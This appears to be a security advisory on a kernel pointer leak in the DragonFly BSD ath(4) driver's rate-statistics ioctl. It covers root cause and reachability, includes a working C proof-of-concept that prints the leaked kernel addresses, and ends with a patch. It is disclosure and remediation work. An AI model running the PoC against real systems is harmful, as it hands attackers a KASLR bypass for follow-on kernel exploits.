• File: sys/dev/netif/ath/ath_rate/sample/sample.c
• Lines: 1255, 1247, 1248, 1181
• Severity: Low
• CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U:C:L/I:N/A:N
• CWE: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
• Confidence: certain

Summary

ath_rate_fetch_node_stats() copies the entire struct sample_node to userspace with copyout(sn, rs->buf+o, sizeof(struct sample_node)) (sample.c:1255).

That struct embeds two live kernel pointers — sched (sample.h:95) and currates (sample.h:97) — which are disclosed verbatim.

The SIOCGATHNODERATESTATS ioctl that reaches this function has no caps_priv_check anywhere on its dispatch path (if.c:2409 default → ieee80211_ioctl.c:3521 → ath_ioctl if_ath_ioctl.c:306 → ath_ioctl_ratestats if_ath_ioctl.c:128 → ath_rate_fetch_node_stats sample.c:1181), so any unprivileged local user can obtain kernel data/text addresses for any associated station on an ath(4) interface, plus stale per-rate statistics for rates no longer in the node's ratemask.

Root cause

ath_rate_fetch_node_stats() performs a bulk copyout of the in-kernel sample_node rather than copying only the statistic fields.

struct sample_node (sample.h:91-111) is laid out as:

int static_rix;
uint64_t ratemask;
const struct txschedule *sched;
const HAL_RATE_TABLE *currates;
struct rate_stats stats[NUM_PACKET_SIZE_BINS][SAMPLE_MAXRATES];
...

The two pointer members sched and currates are kernel virtual addresses (sched points into the ath_rate module's rodata schedule arrays such as series_11na in tx_schedules.h; currates points to the HAL-allocated rate table).

copyout at sample.c:1255 hands both addresses to userspace unchanged.

The reachability is open because the ioctl handler ath_ioctl() (if_ath_ioctl.c:239) dispatches SIOCGATHNODERATESTATS at line 306 straight to ath_ioctl_ratestats() (if_ath_ioctl.c:128-160) with no caps_priv_check — contrast SIOCZATHSTATS at if_ath_ioctl.c:288 which DOES call caps_priv_check_self(SYSCAP_NODRIVER).

The generic ifioctl default path (sys/net/if.c:2409-2435) and ieee80211_ioctl default path (sys/netproto/802_11/wlan/ieee80211_ioctl.c:3516-3523) add no privilege check for this custom GET ioctl either.

Threat

Attacker position: any unprivileged local user on a host with an ath(4) wireless NIC present and at least one associated station.

No privilege, no special device node — only a standard socket and the SIOCGATHNODERATESTATS ioctl (issued like an ifconfig GET).

The user supplies the target station MAC in rs->is_u.macaddr (ath_rateioctl.is_u, if_athioctl.h:229-237); ieee80211_find_node (if_ath_ioctl.c:137) resolves it and the full sample_node is returned in the user buffer rs->buf.

Impact: disclosure of two kernel virtual addresses (a kernel-text/rodata pointer via sched and a kernel-data pointer via currates) usable as a KASLR/ASLR-defeating primitive to align a subsequent kernel exploit, plus disclosure of per-rate TX timing statistics for every associated node on the interface (cross-user information leak on a shared AP).

No memory corruption and no privilege escalation directly from this primitive; impact capped at Low.

Exploit / PoC

/* leak_ath_rates.c -- demonstrate kernel pointer disclosure */
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <dev/netif/ath/ath/if_athioctl.h>
#include <dev/netif/ath/ath_rate/sample/sample.h>

int main(void) {
    int s = socket(AF_INET, SOCK_DGRAM, 0);
    if (s < 0) { perror("socket"); return 1; }

    size_t bufsz = sizeof(struct ath_rateioctl_tlv) * 2
                 + sizeof(struct ath_rateioctl_rt)
                 + sizeof(struct sample_node) + 64;
    char *buf = calloc(1, bufsz);

    struct ath_rateioctl rs;
    memset(&rs, 0, sizeof(rs));
    strlcpy(rs.if_name, "ath0", sizeof(rs.if_name));
    rs.is_u.macaddr[0]=0x00; rs.is_u.macaddr[1]=0x11; rs.is_u.macaddr[2]=0x22;
    rs.is_u.macaddr[3]=0x33; rs.is_u.macaddr[4]=0x44; rs.is_u.macaddr[5]=0x55;
    rs.len  = bufsz;
    rs.buf  = buf;

    if (ioctl(s, SIOCGATHNODERATESTATS, &rs) < 0) {
        perror("ioctl SIOCGATHNODERATESTATS"); return 2;
    }

    /* layout: [ tlv_hdr ][ ath_rateioctl_rt ][ tlv_hdr ][ sample_node ] */
    size_t off = sizeof(struct ath_rateioctl_tlv)
               + sizeof(struct ath_rateioctl_rt)
               + sizeof(struct ath_rateioctl_tlv);
    struct sample_node *sn = (struct sample_node *)(buf + off);
    printf("leaked sched    = %p\n", (void*)sn->sched);
    printf("leaked currates = %p\n", (void*)sn->currates);
    return 0;
}

Build: cc -o leak_ath_rates leak_ath_rates.c (may need -I/usr/src/sys and -D_KERNEL for sample.h pulls; if so, instead reproduce the first 4 fields' offsets manually: int static_rix; pad; uint64_t ratemask; void *sched; void *currates;).

Run as a non-root user on a host with ath0 up and an associated peer.

Success = two non-NULL kernel virtual addresses printed (sched in the ath_rate module range, currates in kernel data), proving kernel-pointer disclosure with no privilege.

Recommended fix

Two-part fix.

(A) Stop leaking kernel pointers: copy sample_node into a heap scratch buffer, NULL the two pointer fields, then copyout the scrubbed copy (a stack copy is unsafe — the struct is ~6 KB).

(B) Defense-in-depth: gate the ioctl with a capability check, matching SIOCZATHSTATS.

--- a/sys/dev/netif/ath/ath_rate/sample/sample.c
+++ b/sys/dev/netif/ath/ath_rate/sample/sample.c
@@ -1186,6 +1186,7 @@ ath_rate_fetch_node_stats(struct ath_softc *sc, struct ath_node *an,
    struct ath_rateioctl_tlv av;
    struct ath_rateioctl_rt *tv;
+   struct sample_node *sn_copy;
    int y;
    int o = 0;

@@ -1252,7 +1253,19 @@ ath_rate_fetch_node_stats(struct ath_softc *sc, struct ath_node *an,
    /*
     * Copy the statistics over to the provided buffer.
     */
-   copyout(sn, rs->buf + o, sizeof(struct sample_node));
+#if defined(__DragonFly__)
+   sn_copy = kmalloc(sizeof(struct sample_node), M_TEMP,
+       M_INTWAIT | M_ZERO);
+#else
+   sn_copy = malloc(sizeof(struct sample_node), M_TEMP,
+       M_NOWAIT | M_ZERO);
+#endif
+   if (sn_copy == NULL) {
+       kfree(tv, M_TEMP);
+       return (ENOMEM);
+   }
+   memcpy(sn_copy, sn, sizeof(struct sample_node));
+   sn_copy->sched = NULL;      /* do not disclose kernel pointers */
+   sn_copy->currates = NULL;
+   copyout(sn_copy, rs->buf + o, sizeof(struct sample_node));
+   kfree(sn_copy, M_TEMP);
    o += sizeof(struct sample_node);

And, in sys/dev/netif/ath/ath/if_ath_ioctl.c ath_ioctl_ratestats() (or in ath_ioctl() at the SIOCGATHNODERATESTATS case), add a privilege gate so unprivileged users cannot enumerate every associated station's rate state:

--- a/sys/dev/netif/ath/ath/if_ath_ioctl.c
+++ b/sys/dev/netif/ath/ath/if_ath_ioctl.c
@@ -128,9 +128,14 @@ static int
 ath_ioctl_ratestats(struct ath_softc *sc, struct ath_rateioctl *rs)
 {
    struct ath_node *an;
    struct ieee80211com *ic = &sc->sc_ic;
    struct ieee80211_node *ni;
    int error = 0;

+   error = caps_priv_check_self(SYSCAP_NONET_IFCONFIG);
+   if (error)
+       return (error);
+
    /* Perform a lookup on the given node */
    ni = ieee80211_find_node(&ic->ic_sta, rs->is_u.macaddr);